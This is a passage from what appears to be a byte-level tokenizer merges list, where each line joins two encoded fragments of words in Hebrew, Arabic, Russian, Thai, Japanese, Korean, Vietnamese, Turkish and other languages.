×ij×Ļ +ع ÙĤب +int ér +intér êt +×ŀ פ×Ĵ +×ŀפ×Ĵ ש +Ġth ù +اÙģ Øª +Ġ×ŀש פ +Ġ×ŀשפ ×ĺ×Ļ +ĠÙħ ÙĪØ§ÙĤع +è¦ ļ +è¦ļ ãģĪ +×ĵ ×Ļף +à¹Ģรืà¹Īà¸Ńà¸ĩ ราว +ãģ¾ ãģĤ +Ġgh ế +иÑĢÑĥ ÑİÑĤ +à¸ģ ว +à¸ģว à¹īาà¸ĩ +Ġпов еÑĢ +ĠповеÑĢ Ñħ +ĠповеÑĢÑħ ноÑģÑĤ +׳ ×ĵר +Ġкон ÑĨе +Ġдолж на +Ġ×Ļש ×Ļר +acaģı z +ìĹ Ķ +Ġn ÃŃvel +Ġö r +Ġör nek +Ùĥ Ùģ +ĠФедеÑĢ Ð°ÑĨии +Ġ구 ìĦ± +หัว à¹ĥà¸Ī +ĠV áºŃy +м ед +мед и +меди ÑĨин +медиÑĨин Ñģк +از ÙĬ +×Ĵ×ij ×ķ׾ +ÑĦ ÑĢ +Ġzus ätzlich +à¸ģ à¸ģ +ĠاÙĦاÙĤتصاد ÙĬØ© +Ġh è +lu ÄŁun +ج Ùİ +à¹Ħà¸Ł ลà¹Į +ÄIJ T +ãģĿãģ® ä»ĸ +à¸Ĺิ à¹īà¸ĩ +ĠاÙĦØ£ ÙĪ +ر سÙħ +æ°Ĺ ãģ¥ +ìĿ´ ë©° +ÑĮ ев +ص Ø· +ĠاÙĦاست Ø« +ĠاÙĦاستث Ùħار +à¸Ńา à¸Ħาร +ĠÑĤоÑĩ но +ĠV ân +à¸Ń ร +à¸Ńร à¹Īà¸Ńย +ĠاÙĦس ÙĨØ© +Ġc Æ°á»Ľi +×Ļ×Ķ ×Ł +íį ¼ +話 ãģĹ +âĹ ĭ +ĠìķĬ ìĿĢ +ãĥ¡ ãĥ¼ãĤ +ãĥ¡ãĥ¼ãĤ « +ãĥ¡ãĥ¼ãĤ« ãĥ¼ +ĠÑĤеп ло +å½¼ ãĤī +Ġİ z +Ġİz mir +íĻ į +Ġr ượ +Ġrượ u +æĢĿãģĦ åĩº +ĠPh ạm +Ġchá u +צ×Ļ ×ķת +ĠìĿ¼ 본 +ìĤ¬ ëĬĶ +ĠÑģозд ан +Ġar acı +Ġ×¢ ר +Ġער ×Ļ׼×Ķ +ĠíķĺëĤĺëĭĺ ìĿĺ +dzi ÅĤ +à¸Ľà¸£à¸° à¸ĺาà¸Ļ +Ġser ÃŃa +ĠìŀĪ ëıĦë¡Ŀ +در ج +íķľëĭ¤ ëĬĶ +à¸Ńา à¸Ĺ +à¸Ńาà¸Ĺ ิà¸ķ +à¸Ńาà¸Ĺิà¸ķ ยà¹Į +ÑĤелÑĮ нÑĭй +ĠØ® دÙħات +×ŀ׳ ×ĺ +Ġl ược +ĠS Ãłi +ĠÙĪ Ø§Ø¶ +ĠÙĪØ§Ø¶ ØŃ +غ از +ĠdoÄŁ al +Ġ×ijש ×Ŀ +Ġд лин +ĠØ¥ طار +Ġ×ijס פר +ãĤĴ ä¸İ +ãĤĴä¸İ ãģĪ +Ġë²ķ ë¥ł +ĠÑĥ вели +ĠÑĥвели Ñĩи +ส à¹Ħà¸ķ +สà¹Ħà¸ķ ลà¹Į +à¹Ħ à¸ģล +×ij׊ף +ĠìĿ´ íĽĦ +Ġm unic +Ġmunic ÃŃpio +تÙħ Ø«ÙĦ +ĠÄij áo +H ôtel +Ġl á»Ńa +ĠÄij ẳng +Ñĩ ки +Ø´ رÙĪ +شرÙĪ Ø· +ĠìĿ´ 를 +ÙĬ Ùĭا +×ŀ׾ ×ļ +×ŀ×Ķ ×Ļר×ķת +ĠобÑıз аÑĤелÑĮ +ĠобÑıзаÑĤелÑĮ но +é nergie +Ġmud ança +Ġm ụ +Ġmụ n +Ġn º +ĠاÙĦت عا +ĠاÙĦتعا ÙĪÙĨ +ĠاÙĦاجتÙħاع ÙĬØ© +Ġп лаÑģÑĤ +Ġëĵ± ìĿĺ +ãĥIJãĤ¤ ãĤ¯ +Ùĩج ÙĪÙħ +ĠSa úde +Ġì¤ijìļĶ íķľ +Ġ×Ķצ ×Ļ×ij×ķר +תק ף +ĠاÙĦعاÙĦÙħ ÙĬ +ĠболÑĮÑĪ Ð¾Ð¹ +ĠÙĥ ÙĦÙħ +ĠÙĥÙĦÙħ Ø© +ãģ®ãģ§ãģ¯ãģªãģĦ ãģ§ãģĹãĤĩãģĨãģĭ +ĠÙħ باراة +Ġש×IJ ׳ +Ġש×IJ׳ ×Ĺ׳×ķ +ãĤ¹ãĤ¿ ãĤ¤ãĥ« +ĠSa ÄŁ +ĠSaÄŁ lık +Ġh ư +׳ ×Ĺ×Ķ +Ġ×ij קר×ij +Ø· عÙħ +ห ิà¸Ļ +à¸Ĺุà¸ģ วัà¸Ļ +à¸Ħรัà¹īà¸ĩ à¸Ĺีà¹Ī +ĠlÃł nh +Ġdonn é +ãģĽ ãģĦ +جز ÙĬرة +доÑĢ Ð¾Ð¶ +ì¼ ľ +تÙĨظ ÙĬÙģ +ãĥģ ãĥ§ +Ġald ıģı +ج اج +ĠÑĤ омÑĥ +à¸Ľ ิ +Ġ×ijר שת +ãģıãģªãĤĬ ãģ¾ãģĻ +ĠпÑĢин ÑĨип +Ġ׊׾×ķ +ëı ¼ +×ķ×Ĵ ש +س س +à¸Ľ ู +Ġh ầu +æĦŁãģĺ ãĤĭ +ï¼ ´ +د ÙĪØ§ +ĠÑģм ог +scri ção +Ġth áºŃn +Ġר ×ķ×IJ×Ķ +обÑĢаж ен +ĠاÙĦتج ارÙĬØ© +Ø· بÙĬع +jÄħc Äħ +íĸī ìľĦ +Ġнов Ñĭй +Ġ×ŀ ×Ĺ×ĵש +æĮ¯ ãĤĬ +gu é +Ġ×IJ ×Ļר×ķ×¢ +Ġ×IJ×Ļר×ķ×¢ ×Ļ×Ŀ +ĠاÙĦ ذÙĩب +×ĵ ×IJ +ت اÙĨ +ãģł ãģĹ +à¸Ńั à¸ķรา +à¹Ĥ à¸Ī +بÙĦ اد +×Ķ×Ļ ×Ļ׳×ķ +ĠÑģп е +ĠÑģпе ÑĨиалÑĮно +ĠÅĽwi ata +ãĤĵãģ§ãģĻ ãĤĪ +شر ÙĥØ© +ĠpÅĤ yt +Ġsitu é +Ġ׼×IJ ׾×Ķ +ס ×ijר +Ġkaż d +Ġkażd ym +ãĤĴæĮģ ãģ¤ +׾×Ķ ×ľ +׾×Ķ׾ ף +ĠwÅĤ as +ĠwÅĤas ne +ĠsaÄŁ lan +×ŀ×¢ ׾×Ķ +ĠاÙĦا ÙĪÙĦ +ìĹIJìĦľ ëıĦ +×IJ×Ļר ×ķפ×Ķ +تÙĤ ÙĨÙĬØ© +Ùħ ائ +Ùħائ Ø© +Ġcompañ ÃŃa +Ġsü rek +Ġsürek li +ĠиÑģ кÑĥÑģ +ĠиÑģкÑĥÑģ ÑģÑĤв +ĠB ürger +ת ×Ĺר +ת×Ĺר ×ķת +à¸ŀรà¹īà¸Ńม à¸ģัà¸ļ +Ø´ Ùħ +à¸ĸืà¸Ń วà¹Īา +è¾¼ ãĤĢ +ä¼ij ãģ¿ +ĠاÙĦØ£ ب +ĠÑģÑĤоим оÑģÑĤÑĮ +ĠпÑĢав а +may ın +ห วย +ĠاÙĦØ· بÙĬعÙĬ +à¸Ĺีà¹Ī à¸ŀัà¸ģ +ĠEst á +Ñĭва ÑİÑĤ +ب سÙĬ +بسÙĬ Ø· +Ġ×ij×¢ ×ijר +åı¯èĥ½ ãģ§ãģĻ +Ġ×ĵ ×ķ׾ +Ġ×ĵ×ķ׾ ר +Ùĩ ÙİØ§ +воÑĢ Ð¾ÑĤ +ãģ¦ ãģĦãģ¾ãģĹãģŁ +à¹Ĥà¸Ĺร ศ +à¹Ĥà¸Ĺรศ ั +à¹Ĥà¸Ĺรศั à¸ŀ +à¹Ĥà¸Ĺรศัà¸ŀ à¸Ĺà¹Į +Ġ×§ ׳ +ĠاÙĦØ« ÙĨ +ĠاÙĦØ«ÙĨ ائÙĬØ© +Ġco ût +à¸ķิà¸Ķ à¸ķัà¹īà¸ĩ +Ġö rg +Ġörg üt +ĠاÙĦØ® ÙĦÙĬ +ĠاÙĦØ®ÙĦÙĬ ج +Ġb á»įn +×ķ׾×ķ×Ĵ ×Ļ +ëŀ ľ +ĠÐij олÑĮ +ĠÐijолÑĮ ÑĪ +×Ĵ ×ijר×Ļ×Ŀ +ÙĤ ÙĬد +×ij×Ļ×ĺ ×ķ×Ļ +æīĵ ãģ¡ +Ġol muÅŁ +f äh +fäh ig +ล าà¸Ļ +ĠÙĤ طر +ש פ×Ķ +èªŃ ãĤĵãģ§ +à¸Ĥ วา +Ġchi ếm +ãĤ¤ãĥ³ ãĤ¿ +ãĤ¤ãĥ³ãĤ¿ ãĥ¼ãĥ +ãĤ¤ãĥ³ãĤ¿ãĥ¼ãĥ į +ãĤ¤ãĥ³ãĤ¿ãĥ¼ãĥį ãĥĥãĥĪ +Ġ׾ש×ŀ ×ķר +Ġت رÙĥ +ĠترÙĥ ÙĬا +ר ×ķ×ĺ +ã썿ĢĿ ãģĦãģ¾ãģĹãģŁ +ĠاÙĦت ÙĤ +Ġd ư +ãģ¦ãģıãĤĮ ãĤĭ +ãģĹãģŁ ãģĵãģ¨ +Ġróż ne +ĠاÙĦØ· ÙģÙĦ +ĠPost é +Ġ×ŀש ×ķ×Ŀ +Ñį ÑĢ +ĠÑĢабоÑĤ аеÑĤ +ãĤ· ãĥª +ãĤ·ãĥª ãĥ¼ãĤº +Ġ×ij×Ķ ×Ĺ׾×ĺ +×§×Ķ ×Ļ׾×Ķ +ãĤ« ãĥ¡ +ãĤ«ãĥ¡ ãĥ© +ï¼ ¯ +ĠìĤ¬ ìĿ´ +Ġk ì +Ġth Æ°á»Ľc +ض بط +ÙĤب ÙĪÙĦ +åĪ¥ ãģ® +Ġparticul ière +ĠÑģво ем +Ġ×¢ סק +Ġעסק ×Ļ×Ŀ +×ij×Ĺ ×Ļר×ķת +×ij ×Ļ׳×ķ +à¸ĭ à¸Ń +Ġ×¢ ×ķ×ijר +ãģłãģ£ãģŁ ãģ®ãģ§ +ıld ıģı +Ùħ دار +Ùħدار س +주 ìĭľ +à¸Ńา ศ +à¸Ńาศ ัย +Ġt ấm +à¸ŀิ à¸Ī +à¸ŀิà¸Ī าร +à¸ŀิà¸Īาร à¸ĵา +ÑĤелÑĮ нÑĭе +Ñģк ÑĥÑİ +Ðľ Ðĺ +à¹Ģà¸ģ า +à¹Ģà¸ģา หล +à¹Ģà¸ģาหล ี +×ĵ ×Ĺ +à¹Ģà¸Ĭ ิà¸ĩ +Ġد ÙĤÙĬÙĤØ© +íķĻ ìĥĿ +Ġש×IJ ׾×Ķ +Ġcontr ôle +Ġsit uação +à¸Ĥà¸Ńà¸ĩ à¸ľà¸¹à¹ī +ÙĨ Ø·ÙĤ +ê³¼ íķĻ +หลาย à¸Ħà¸Ļ +Ġn ắng +ÙĤ Ùı +ì¡° ê±´ +Ñ ķ +ãĥĥ ãģ¨ +×ŀ ×Ļ׾×Ķ +Gr ün +×Ļ ×Ļ×¢ +×Ļ×Ļ×¢ ×ķ×¥ +×ŀ׳ ׼ +ë ŃIJ +×ŀ×¢ ×ŀ×ĵ +สำ à¸Ļัà¸ģ +ج دد +à¸Ħ ัà¸Ķ +Ġ×Ķ×ŀש פ +Ġ×Ķ×ŀשפ ×Ĺ×Ķ +×ŀש ק׾ +ÙĦ Ùı +Ġty tu +Ġtytu ÅĤ +ÑĪ ÐµÐ¹ +ĠìĿ¼ ë¶Ģ +ÑĪ ÐµÐ½Ð¸Ðµ +Ġph óng +ĠìĹŃ ìĤ¬ +ãĤ« ãĥ³ +Ġtú i +ĠÙĨ ÙĪÙģ +ĠÙĨÙĪÙģ Ùħبر +gr ün +ĠاÙĦØ´ ÙħاÙĦ +ÅĽwi adc +ÅĽwiadc zenie +ער ×Ķ +Ġ×¢ ×ķ×ij +Ġ×¢×ķ×ij ×ĵ×Ļ×Ŀ +×ĵ×ķ×Ĵ ×ŀ×IJ +ä»Ĭ ãģ¯ +Ġv ão +ĠТ ем +Ñģ илÑĮ +Ġch ợ +Ùħ را +Ùħرا ÙĤب +à¹Ħมà¹Ī รูà¹ī +Ġر ائع +×IJ׳ ×Ĺ׳×ķ +สà¹Īà¸ĩ à¹Ģสริม +צ ×Ĺ +ĠìŀĪìĸ´ ìĦľ +Ġkur ulu +Ġkurulu ÅŁ +ĠÃĸ zellik +ĠÃĸzellik le +Ġת ×Ļ×§ +Ġgh é +Ġspr zÄĻ +ĠsprzÄĻ t +ער ×ķת +را ØŃØ© +ãģ£ ãģį +ãģ£ãģį ãĤĬ +ĠìķĦ ëŀĺ +stit uição +Ġдолж но +×Ķ ×¨×© +×Ķרש ×ŀ×Ķ +×Ķ׾ ×ļ +ãģ¡ ãģª +ãģ¡ãģª ãģ¿ +ãģ¡ãģªãģ¿ ãģ« +פ ×Ĺ×ĵ +ĠاÙĦج ÙħÙĬع +×ij×¢ ׾×Ļ +Ġtr ùng +Ġפ ת×Ĺ +×ŀ׾×Ĺ ×ŀת +ãĥĨ ãĥ¼ãĥ +ãĥĨãĥ¼ãĥ ŀ +Ùħ تاب +Ùħتاب عة +Ġ모 ìĬµ +ÙĬ ص +åIJĪ ãģĨ +ĠY ap +ĠYap ı +ĠÑģ казаÑĤÑĮ +ëª ° +à¸Ĺีà¹Ī สำà¸Ħัà¸į +ĠìĹĨ ìĬµëĭĪëĭ¤ +Ġnh ắc +Ġülk eler +Ġмног ие +íķĺ ìħ¨ +มาà¸ģ à¸Ĺีà¹Īสุà¸Ķ +à¸ģ à¹īา +à¸ģà¹īา ว +Ġİ yi +л еж +леж а +ãĤ¸ ãĥ§ +à¸Ĺั à¸ŀ +ا ÙĪØ± +Ġ×Ĺ×ijר ×Ļ +Ġ׾ ש×Ŀ +ì² « +ĠT á»Ń +×ŀ ×ķ׳×Ļ +ÙĤ ÙĪØ¯ +à¸ģระ à¹Ģà¸Ľ +à¸ģระà¹Ģà¸Ľ à¹ĭ +à¸ģระà¹Ģà¸Ľà¹ĭ า +ĠпÑĢоблем Ñĭ +Ġaç ıs +Ġaçıs ından +Ġ×Ķ×ŀ ׼ +ĠÙħع ظÙħ +ÙĤÙĬ اس +ĠпÑĢод олж +ĠпÑĢодолж а +Ġver diÄŁi +ĠпÑĢед меÑĤ +ãģĦãģ¾ãģĻ ãģĮ +ĠëͰ 른 +ĠاÙĦ ÙĤÙĬاÙħ +ĠØ¥ÙĦÙĬ Ùĩا +Т ÐIJ +п оз +ãĤ· ãĥ¥ +ä¸ĬãģĮ ãĤĬ +à¹Ģà¸Ķิม à¸ŀัà¸Ļ +à¸ģุ ล +ØŃر ÙĬØ© +×§×ij×ķצ ×ķת +ë¯ ¿ +ĠاÙĦÙħ ÙĨا +ĠاÙĦÙħÙĨا Ø·ÙĤ +ĠвÑĭп ол +ĠвÑĭпол нÑı +ãĥĭ ãĤ¢ +Ġê²° êµŃ +×Ĺ ×ķ×ŀ +×Ĺ×ķ×ŀ ר×Ļ×Ŀ +ĠУкÑĢа инÑĭ +ห à¸Ńม +ר ×Ļס +ĠÑħоÑĤ ел +ĠобÑĢаз ованиÑı +Ġkh ẳng +Ġm ưa +Ġgör me +Ġgüç lü +سع Ùī +มัà¹Īà¸Ļ à¹ĥà¸Ī +íķĺ ê²łìĬµëĭĪëĭ¤ +Ġпол Ñĥ +Ġfün f +ã썿ĢĿ ãģ£ãģ¦ãģĦãģ¾ãģĻ +Ġê·¸ê²ĥ ìĿĢ +ĠdÃ¼ÅŁÃ¼n ce +ìŀ ł +ĠH Æ°á»Ľng +ĠTi á»ĥu +Ġç ift +ãģij ãģ° +à¸Īà¸Ļ à¸ĸึà¸ĩ +à¸Ĺำ à¹Ħà¸Ķà¹ī +ĠìŀIJ ì²´ +Ġd õ +Ġdõ i +à¸Ī ัà¸Ļ +à¸Īัà¸Ļ à¸Ĺ +à¸Īัà¸Ļà¸Ĺ รà¹Į +ece ÄŁini +׳×ķ×¢ ר +غ ار +ĠاÙĦØ£ÙħرÙĬ ÙĥÙĬ +داع Ø´ +ĠбезопаÑģ ноÑģÑĤи +Ġб Ñİ +ĠбÑİ Ð´Ð¶ +ĠбÑİдж еÑĤ +ãĥĬ ãĤ¤ +à¸ŀà¸ļ วà¹Īา +da ÄŁ +×IJ ×ķפף +íĹ Į +ãĥĢãĤ¤ ãĤ¨ +ãĥĢãĤ¤ãĤ¨ ãĥĥãĥĪ +ĠëĮĢ íĨµ +ĠëĮĢíĨµ ëł¹ +D İ +Ø£ ØŃداث +ĠA ÄŁ +ĠAÄŁ ust +ĠAÄŁust os +ØŃÙĦ ÙĪÙĦ +Ġw ÅĽ +ĠwÅĽ ród +ĠÑģо оÑĤвеÑĤ +ĠÑģооÑĤвеÑĤ ÑģÑĤв +ĠÑģооÑĤвеÑĤÑģÑĤв ии +ĠLu áºŃt +Ġ׼׾ פ×Ļ +Ġв еÑī +ĠвеÑī еÑģÑĤв +×§ ×Ļ×¥ +ĠبÙĩ ذا +عا Ø´ +à¹Ģà¸Ľà¹ĩà¸Ļ à¹Ģรืà¹Īà¸Ńà¸ĩ +Т Ðķ +Ġ×ij×IJ ×Ļ׳×ĺר׳×ĺ +س عد +Ġ×Ķ×ĺ ×Ļפ×ķ׾ +פ ×Ļס +à¸ĩà¹Īาย à¹Ĩ +ĠGer ät +׾ ×Ļ×ĵ×Ķ +ĠÑĢ Ð¸Ñģк +׾ק ×Ĺ +н наÑı +ר ×Ļ×ĵ +п ÑĢакÑĤи +пÑĢакÑĤи к +à¸Ĥัà¹īà¸Ļ à¸ķà¸Ńà¸Ļ +à¸Ļà¹Īา รัà¸ģ +larınız ı +à¸Ńà¸Ļุ à¸įา +à¸Ńà¸Ļุà¸įา à¸ķ +ĠzdjÄĻ cia +Ġb ây +Ñģ ÑĢ +ÑģÑĢ Ð¾Ñĩ +ãĥĭ ãĥ³ãĤ° +Ġö ner +Ġöner i +Ġнов ÑĭÑħ +دع ÙĪØ© +Ġg ắn +ĠاÙĦÙĦ بÙĨ +ĠاÙĦÙĦبÙĨ اÙĨÙĬ +ãĥĨãĤ£ ãĥ¼ +Ġص ØŃÙĬØŃ +ем ÑĭÑħ +çĸ² ãĤĮ +ĠпÑĢо иÑģ +ĠпÑĢоиÑģ ÑħодиÑĤ +ส à¸ķิ +ĠT ết +Ġ×Ķ׾ ׾×ķ +à¹Ģรืà¹Īà¸Ńà¸ĩ à¸Ļีà¹ī +×ŀ×ij ׳×Ķ +Ġconte údo +Ġا خت +Ġاخت ÙĬار +Ùħ سÙĦ +ÙħسÙĦ سÙĦ +ëı Ī +Ġ׾ ×Ļ×ĵ +à¸ŀิ à¸ĺี +ĠÑģов Ñģ +ĠÑģовÑģ ем +ãģĮãģĤãĤĬ ãģ¾ãģĹãģŁ +Ġsó ng +Ø¥ صÙĦاØŃ +ë§ ģ +Ùģ ÙĬر +ĠJe żeli +ìłľ ëıĦ +d ÅĤug +ìĥģ ìĿĦ +Ġc áºŃn +Ġhá»į p +Ø£ ست +أست اذ +Ġ×ŀ ×Ļש×Ķ +Ġ×ŀ×Ļש×Ķ ×ķ +Ġd Ãły +Ġch Ãłng +ãģ¡ãĤĥãĤĵ ãģ¨ +ĠÄij ám +Ġsw ój +Ġpoder á +ĠоÑĤлиÑĩ а +Ġpéri ode +ünd ig +×ĺ×¢ ף +ÑģÑĤÑĢо иÑĤелÑĮ +ר ת×Ļ +Ġ×Ļ×Ķ ×Ļ×ķ +׾ ס +ĠاÙĦÙħÙĨ زÙĦ +à¸Ļิ à¹īว +иÑĦ ика +иÑĦика ÑĨи +ðŁĺ ī +Ġad ına +ãĢĤãĢĤ ãĢĤ +×IJ ×Ļף +ס ×Ļר +ĠÙĬ عد +çŃĶ ãģĪ +اÙĦ جز +اÙĦجز ائر +енÑĮ к +ร ห +รห ัส +ĠTürk çe +ê¾ ¸ +Ġ×Ļ ×ķ׼׾ +Ġש ×ķ׳×Ķ +Ġ×ij×ŀ צ×ij +ĠдейÑģÑĤв иÑĤелÑĮно +ĠبأÙĨ Ùĩ +×ŀ×§ ×ĵ +Ġ×Ķש ×§ +Ø®ÙĬ ارات +Ġf ı +Ġfı rs +Ġfırs at +ëij ĺ +ĠìĦľ ìļ¸ +Ġ×Ķ×Ĵ ×ķ×£ +ر عا +رعا ÙĬØ© +ĠK ết +к Ñģи +ĠÑĥÑģлÑĥг и +ноÑģÑĤ ей +ìļ´ ëıĻ +ĠобÑĬ Ñı +ĠобÑĬÑı вл +н еж +×Ķפ ×ļ +Ġ×ij×¢ ×Ļ׳×Ļ +ëĨ Ĵ +ĠпÑĢоÑĨ ед +ĠпÑĢоÑĨед ÑĥÑĢ +Ġiht iy +Ġihtiy acı +Ġë°Ķ ëŀį +Ġë°Ķëŀį ëĭĪëĭ¤ +à¸ģล ัว +ĠÑģл ожно +×§×Ļ ×Ļ×ŀת +ĠÄIJ ình +ĠÙħ ÙĦÙģ +Ġà¹Ĥà¸Ķย มี +Ġkat kı +تØŃ ÙĪÙĬÙĦ +à¹Ħ à¸ŀ +ĠH á»į +ñ e +Ġдо Ñħод +Ġtho ải +íķĺìŬ ìķ¼ +ãĤ¹ãĥĿ ãĥ¼ãĥ +ãĤ¹ãĥĿãĥ¼ãĥ Ħ +ĠG òn +Ġk è +Ġkè m +é̲ ãĤģ +ãĤ¹ ãĥ¼ãĥ +ãĤ¹ãĥ¼ãĥ ij +ãĤ¹ãĥ¼ãĥij ãĥ¼ +ĠgiÃł u +ĠØ¥ عادة +Ġ׾ ×ķ×§ +Ġ׾×ķ×§ ×Ĺ +ĠÑħоÑĩ еÑĤ +×ĺ ׾×ķ×ķ +×ĺ׾×ķ×ķ ×Ļ×ĸ +×ĺ׾×ķ×ķ×Ļ×ĸ ×Ļ×Ķ +Ġth uyết +ãģĿãĤĮ ãģ§ +Ġvard ı +à¹Ħร à¹ī +ع بد +ĠRep ública +ãĥ¼ãĤ¿ ãĥ¼ +Ġ×ŀ×IJ ×ķת +à¹Ħà¸Ľ à¹ģลà¹īว +Ġyapıl acak +ãĤ¹ãĤ¿ ãĥ¼ãĥĪ +ãģ» ãģ¼ +Ġko ÅŁ +ĠмаÑĤ еÑĢи +Ġsiè cle +ĠاÙĦÙħ ختÙĦÙģ +ĠاÙĦÙħختÙĦÙģ Ø© +Ġ׾ק ר×IJ +Ġ׾קר×IJ ת +Ġ×Ķפ ×ķ×¢×ľ +Ġt òa +Ġr Æ¡i +åij¨ ãĤĬ +à¸Ŀ à¸Ļ +j ÅĽÄĩ +ĠìķĬ ìĿĦ +اÙĨت ÙĤاÙĦ +ëĸ ł +ив аеÑĤ +ãĥĪ ãĥ« +ĠاÙĦÙģÙĦسطÙĬÙĨ ÙĬØ© +à¸ģลà¹Īาว วà¹Īา +ا Ùĥت +ĠÃĸ l +ĠÑĢе ÑĪи +ĠÑĢеÑĪи л +Ġ׳×ķס פ×ķת +Ġìłķ ì¹ĺ +вл еÑĩен +Ùħر ØŃÙĦØ© +Ġcome ça +Ġy ık +ìĤ ´ +à¸ĺ à¸Ļา +à¸ĺà¸Ļา à¸Ħาร +à¸Ńà¸Ļ า +à¸Ńà¸Ļา à¸Ħ +à¸Ńà¸Ļาà¸Ħ à¸ķ +Ġpeque ña +ä»ķ äºĭãĤĴ +Ġب ذÙĦÙĥ +Ġнов ого +ãģĹãģ¦ ãģĦãģªãģĦ +ĠاÙĦÙħ ÙĬاÙĩ +à¸ģà¹ĩ à¹Ģà¸Ľà¹ĩà¸Ļ +Ġж ÑĥÑĢ +ĠжÑĥÑĢ Ð½Ð°Ð» +в еÑģ +خت ار +Ġ매 ìļ° +ĠM ã +ĠавÑĤомаÑĤ Ñĭ +ضع Ùģ +ĠاÙĦÙģ Ùĥر +ãģ§ãģĻ ãģ®ãģ§ +ãĥ¡ãĥ³ ãĥIJãĥ¼ +Ġк ÑĢÑĥг +ĠاÙĦسÙĦ طة +à¸Ħรัà¹īà¸ĩ à¹ģรà¸ģ +à¸ģระà¸Ĺ รว +à¸ģระà¸Ĺรว à¸ĩ +ÑĨ ов +éķ· ãģĦ +大ãģį ãģĦ +Ġgeç miÅŁ +ìĦ± ìĿ´ +Ġצר ×Ļ׼×Ķ +Ġм оÑī +ĠмоÑī н +Ġ×§ ×Ļש +Ġ×§×Ļש ×ķר×Ļ×Ŀ +ĠNas ıl +г ÑĢан +Ġ×ŀ ×ķצר×Ļ×Ŀ +Ġ×ŀס ×ķ×Ĵ +Ġy ür +Ġyür üt +Ġ׾׊צ×ķ +×ķÖ ¼ +ĠìŀĪ ìĹĪëĭ¤ +Ġter ör +ĠTh ương +ĠÙĪ ÙĬÙħ +ĠÙĪÙĬÙħ ÙĥÙĨ +ج ÙĪÙĨ +ĠÙĪØºÙĬر Ùĩا +×ŀ פ×ķ +×Ĵ×ķר ×ŀ×Ļ×Ŀ +׼×ij ×Ļש +ĠاÙĦÙĦ غ +ĠاÙĦÙĦغ Ø© +شر Ùĥ +ĠاÙĦر اب +ĠاÙĦراب ع +ĠпÑĢ ÐµÐº +ĠпÑĢек ÑĢаÑģ +ĠпÑĢекÑĢаÑģ н +Ġenerg ÃŃa +×§×ĵ ×ŀ×Ļ +ãģıãģª ãģ£ãģŁ +ĠÄij ứ +ĠÄijứ a +Serv i +Servi ço +Ġkald ır +åĥį ãģį +Ġод еж +Ġодеж д +물 ìĿĦ +ãģĿãģĨ ãģ§ +ãģĮãģĤ ãĤĮãģ° +ìĻ ķ +צ×ĵ ×§ +Ġart ır +Ġile ti +Ġileti ÅŁim +ãĤĪãģĨ ãģ§ +ãĥĪ ãĥ¼ +ãĤ¢ ãĥĭ +ãĤ¢ãĥĭ ãĥ¡ +×ĺ×Ļ ×Ļ׾ +ãĥķ ãĥªãĥ¼ +ãĥĿ ãĥ³ +ÐŁÑĢ Ð¾ +Ġع اÙĦÙĬØ© +ĠÃ¶ÄŁ ret +ĠÃ¶ÄŁret men +ĠкаÑĩеÑģÑĤв а +Ġ×Ķ×ĺ ×ij×¢ +Ġзна Ñİ +ãģ¦ ãģıãĤĭ +Ġm ừng +ÙħÙĪ Øª +ש ×ķ×ŀר +×Ĺ׾ ×ij +Ġwzgl ÄĻ +ĠwzglÄĻ du +ë²Ī 째 +Ġtá» ĵ +Ġtá»ĵ n +ãĥ¯ãĥ¼ ãĤ¯ +Ġpo życz +Ġpożycz k +×Ļ ×ķצר×Ļ×Ŀ +Ùĥر Ùħ +Ġг аÑĢ +ĠгаÑĢ Ð°Ð½ +ĠгаÑĢан ÑĤи +ล à¹īาà¸ĩ +Ġìĺģ íĻĶ +×ĺ ×Ļס +Ġth ẻ +ĠìŀĪëĭ¤ ê³ł +اÙĦت ز +اÙĦتز اÙħ +Ġна ÑĪи +is ée +ãģĵãĤĮ ãĤĴ +Ġm ẽ +ض ÙĦ +بÙĪ Øª +Ġ׼ ׼×Ķ +h ợ +ĠاÙĦس ÙĪØ±ÙĬØ© +Ġ×ľ×¢ ×ķ×ŀ +Ġ×ľ×¢×ķ×ŀ ת +ĠbaÅŁ ar +ĠbaÅŁar ılı +е ÑģÑĤÑĮ +à¸Ħร ี +à¸Ħรี ม +ĠìłĦ ì²´ +ĠسÙĬ ÙĥÙĪÙĨ +Ġ×ŀ×ĵ ×ķ×¢ +ĠëķĮ문 ìĿ´ëĭ¤ +Ġc ứng +ger ät +Ġм иÑĢ +ĠмиÑĢ Ðµ +ĠÙĥÙĬÙģ ÙĬØ© +Ġפר ×ĺ×Ļ×Ŀ +Ġgo ÅĽci +иÑĤ еÑģÑĮ +ÑĥÑĪ ÐºÐ¸ +ؤ ÙħÙĨ +Ġ×IJ ׼ף +ĠاÙĦر جÙĦ +Ġl á»įc +à¹Ģรีย à¸ģวà¹Īา +ãģĵãģ® ãĤĪãģĨãģª +ë§Į íģ¼ +Ġп еÑĩ +ÙĪÙĦ ات +ĠÃľ ye +liÄŁ inde +à¸Ħะ à¹ģà¸Ļ +à¸Ħะà¹ģà¸Ļ à¸Ļ +ãĤĭãģĵãģ¨ ãģ¯ +วิ à¹Ģà¸Ħร +วิà¹Ģà¸Ħร าะ +วิà¹Ģà¸Ħราะ หà¹Į +Ġвозмож ноÑģÑĤи +ĠاÙĦÙĨ ساء +ãĥīãĥ© ãĥŀ +Ġgü c +Ġgüc ü +Ġt ưá»Ŀng +Ġacomp aña +ãĤ¤ ãĥ© +×§ צ×ij +ĠY ö +ĠYö net +ĠYönet im +สัม à¸ľ +à¸ªà¸±à¸¡à¸ľ ัส +à¸Ļ าม +ĠÄij ợi +à¹ģหà¹Īà¸ĩ à¸Ĭาà¸ķิ +ãģĿãĤĮ ãģ§ãĤĤ +ät ig +ת ×ķ×Ŀ +ĠbaÅŁ lat +ĠвÑģ ей +ת ×Ļ×§ +ת×Ļ×§ ×ķף +ĠNg ô +ĠGesch ä +ĠGeschä fts +Ø£ Ùħ +Ø£Ùħ راض +à¹Ģà¸Ĺ à¸Ħà¸Ļ +à¹Ģà¸Ĺà¸Ħà¸Ļ ิ +à¹Ģà¸Ĺà¸Ħà¸Ļิ à¸Ħ +Ġм енÑĮ +ĠменÑĮ ÑĪе +Ġöl ç +Ġölç ü +ĠÙĬ جعÙĦ +ĠÄij ỡ +ש ×Ļ׾ +ש×Ļ׾ ×ķ×ij +ĠGr Ã¶ÃŁe +ĠÙĩ اتÙģ +รà¹īาà¸Ļ à¸Ńาหาร +×Ķ׾ ×Ļ׼ +×Ķ׾×Ļ׼ ×Ļ +иÑĢÑĥ ÑİÑī +èĭ¥ ãģĦ +ĠÃĸ zel +ãģĦãģŁ ãĤī +à¸Ħำ 